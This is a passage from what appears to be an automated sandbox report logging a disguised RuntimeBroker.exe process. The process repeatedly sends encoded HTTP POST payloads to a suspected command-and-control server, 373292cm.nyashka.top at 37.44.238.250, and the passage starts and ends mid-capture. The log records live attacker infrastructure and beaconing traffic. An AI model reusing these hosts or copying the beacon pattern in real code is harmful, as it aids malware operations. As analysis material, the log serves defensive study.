Jan 11, 2025 06:44:07.832870007 CET	1852	OUT	Data Raw: 5a 55 59 52 51 43 54 59 5b 5f 5a 51 59 50 58 56 57 59 5d 59 57 5b 53 5b 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZUYRQCTY[_ZQYPXVWY]YW[S[\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S._8;C"<_7 =Z>>/>-6?= 4<#!+)443:..&F$.Y/
Jan 11, 2025 06:44:08.110927105 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:08.244064093 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 26 57 3e 26 2d 02 32 05 27 0c 24 0a 3d 0b 29 3e 3c 06 3d 3d 22 07 24 16 3d 14 27 2e 24 51 27 28 21 5c 2b 07 3a 53 32 06 23 5a 3a 34 2b 5d 0c 13 22 5d 23 29 35 04 25 2c 06 10 2b 38 37 17 21 12 26 5c 2b 04 07 55 3c 11 30 59 28 07 0a 04 3f 03 21 0f 2f 28 3a 06 2e 0e 21 08 34 14 2b 52 0d 11 24 54 3f 3d 0f 1f 29 10 11 59 35 5e 3b 5f 24 2d 31 0d 24 31 22 56 26 29 2c 5b 31 1c 13 56 24 0f 29 50 31 38 22 5b 25 01 29 56 22 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: &W>&-2'$=)><=="$='.$Q'(!\+:S2#Z:4+]"]#)5%,+87!&\+U<0Y(?!/(:.!4+R$T?=)Y5^;_$-1$1"V&),[1V$)P18"[%)V""#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	57096	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:07.583159924 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:07.942400932 CET	2544	OUT	Data Raw: 5a 50 5c 51 51 45 51 5b 5b 5f 5a 51 59 51 58 54 57 50 5d 59 57 5d 53 5c 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZP\QQEQ[[_ZQYQXTWP]YW]S\\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.,;@!77![=4]?.^)=; ?+W#2/<:7735],&F$.Y/=
Jan 11, 2025 06:44:08.233850002 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:08.521922112 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	57097	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:08.649669886 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 11, 2025 06:44:09.004661083 CET	2536	OUT	Data Raw: 5f 51 5c 5e 51 40 51 5a 5b 5f 5a 51 59 57 58 5e 57 5c 5d 59 57 5f 53 5b 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _Q\^Q@QZ[_ZQYWX^W\]YW_S[\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-/;A5<#!+=4\?*<>?"<< 0W<9840:;&F$.Y/
Jan 11, 2025 06:44:09.307610989 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:09.473388910 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	57098	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:09.605608940 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:09.959104061 CET	2544	OUT	Data Raw: 5a 55 5c 5e 54 42 54 58 5b 5f 5a 51 59 51 58 51 57 5e 5d 5c 57 59 53 5f 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZU\^TBTX[_ZQYQXQW^]\WYS_\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-/ "=04)7<"? 7/7!!?:+Y #5_/.&F$.Y/=
Jan 11, 2025 06:44:10.234433889 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:10.407032967 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	57099	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:10.541552067 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:10.895277977 CET	2544	OUT	Data Raw: 5f 50 5c 50 54 43 54 51 5b 5f 5a 51 59 55 58 5f 57 51 5d 5b 57 5f 53 58 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _P\PTCTQ[_ZQYUX_WQ][W_SX\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.80#D5=4701)3?.]<7X4?3!1+<" :/&F$.Y/-
Jan 11, 2025 06:44:11.175615072 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:11.307257891 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	57100	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:11.446904898 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:11.801517010 CET	2544	OUT	Data Raw: 5f 5c 59 52 54 47 54 50 5b 5f 5a 51 59 51 58 56 57 5f 5d 5d 57 5f 53 5a 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _\YRTGTP[_ZQYQXVW_]]W_SZ\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-. <6.7#=]=[4\<>]?>+X7<#W;+*87 ];.&F$.Y/=
Jan 11, 2025 06:44:12.103729963 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:12.240104914 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	57101	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:12.366627932 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:12.744771004 CET	2544	OUT	Data Raw: 5f 54 59 57 54 46 54 58 5b 5f 5a 51 59 52 58 53 57 5c 5d 5d 57 50 53 58 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _TYWTFTX[_ZQYRXSW\]]WPSX\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.\83("[;7 )[*=0^?=5(-?X#<7P ! +:84V!^8>&F$.Y/1
Jan 11, 2025 06:44:13.004443884 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:13.140053034 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	57102	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:13.261321068 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1872 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:13.614279032 CET	1872	OUT	Data Raw: 5a 55 5c 52 54 45 54 5c 5b 5f 5a 51 59 53 58 56 57 51 5d 5b 57 51 53 5e 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZU\RTET\[_ZQYSXVWQ][WQS^\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-. 0!$7#&*=7?.-[?[("//S#0V+ #V%_,>&F$.Y/5
Jan 11, 2025 06:44:13.909260035 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:14.042099953 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 26 55 29 1b 35 03 25 3b 01 0d 33 1d 2e 1e 2a 13 0d 10 29 2d 2a 04 24 01 36 04 25 3e 30 1c 24 2b 29 5a 2b 00 2e 50 32 06 27 59 2c 34 2b 5d 0c 13 22 5d 23 2a 04 59 32 02 01 03 29 3b 2c 05 35 02 39 04 28 03 2d 50 3f 2f 24 12 28 17 34 03 3c 5c 36 1f 2e 3b 25 15 2f 33 3a 1c 20 04 2b 52 0d 11 24 10 29 2e 21 1d 29 2d 27 5e 21 2b 30 07 27 2d 0f 08 31 0b 2e 52 24 29 3f 03 31 0b 25 50 33 57 35 1d 24 3b 35 07 25 06 36 0c 36 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: &U)5%;3.)-$6%>0$+)Z+.P2'Y,4+]"]#*Y2);,59(-P?/$(4<\6.;%/3: +R$).!)-'^!+0'-1.R$)?1%P3W5$;5%66"#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	57103	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:13.275933981 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:13.630062103 CET	2532	OUT	Data Raw: 5a 51 5c 5e 54 44 54 5d 5b 5f 5a 51 59 57 58 57 57 51 5d 53 57 5f 53 55 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZQ\^TDT][_ZQYWXWWQ]SW_SU\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S./8!\7 =]*=$_?=%](, 3W $<_#^#=/.&F$.Y/
Jan 11, 2025 06:44:13.905131102 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:14.034415960 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	57104	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:14.168248892 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:44:14.520293951 CET	2544	OUT	Data Raw: 5f 53 5c 5e 54 43 51 5b 5b 5f 5a 51 59 53 58 5f 57 50 5d 5c 57 5e 53 5b 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _S\^TCQ[[_ZQYSX_WP]\W^S[\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.8##-X **3<>:+' R " Q<9##V6,&F$.Y/5
Jan 11, 2025 06:44:14.807893038 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:14.940356970 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	57105	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:15.072345018 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:15.426804066 CET	2544	OUT	Data Raw: 5a 56 5c 57 51 42 54 59 5b 5f 5a 51 59 54 58 50 57 59 5d 5f 57 5e 53 5c 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZV\WQBTY[_ZQYTXPWY]_W^S\\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S..#?"> ] 3>*'(>9Z<-/7<? !($4!X;&F$.Y/)
Jan 11, 2025 06:44:15.719676971 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:15.850136042 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	57106	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:15.981650114 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:16.332801104 CET	2544	OUT	Data Raw: 5a 55 59 54 54 41 54 59 5b 5f 5a 51 59 52 58 57 57 59 5d 5b 57 51 53 58 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZUYTTATY[_ZQYRXWWY][WQSX\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-/ $"-'7#!Z)=4]<>)^+=#Y#,(#! W(9?#>;.&F$.Y/1
Jan 11, 2025 06:44:16.619368076 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:16.795833111 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	57107	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:16.931185007 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:17.285975933 CET	2544	OUT	Data Raw: 5f 54 5c 56 54 44 54 51 5b 5f 5a 51 59 55 58 50 57 5e 5d 5b 57 50 53 5f 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _T\VTDTQ[_ZQYUXPW^][WPS_\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-/$"+ V)\*[0>==([?[7<(!!?97 1^/&F$.Y/-
Jan 11, 2025 06:44:17.569617987 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:17.700572014 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	57108	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:17.820477009 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:18.177826881 CET	2544	OUT	Data Raw: 5a 51 5c 53 54 44 54 59 5b 5f 5a 51 59 53 58 5e 57 50 5d 52 57 51 53 5a 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZQ\STDTY[_ZQYSX^WP]RWQSZ\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-8'A68^7 )#+5_<=4 #!0**$7 9..&F$.Y/5
Jan 11, 2025 06:44:18.468466043 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:18.606482029 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	57109	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:18.744658947 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	57110	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:19.043881893 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1872 Expect: 100-continue Connection: Keep-Alive
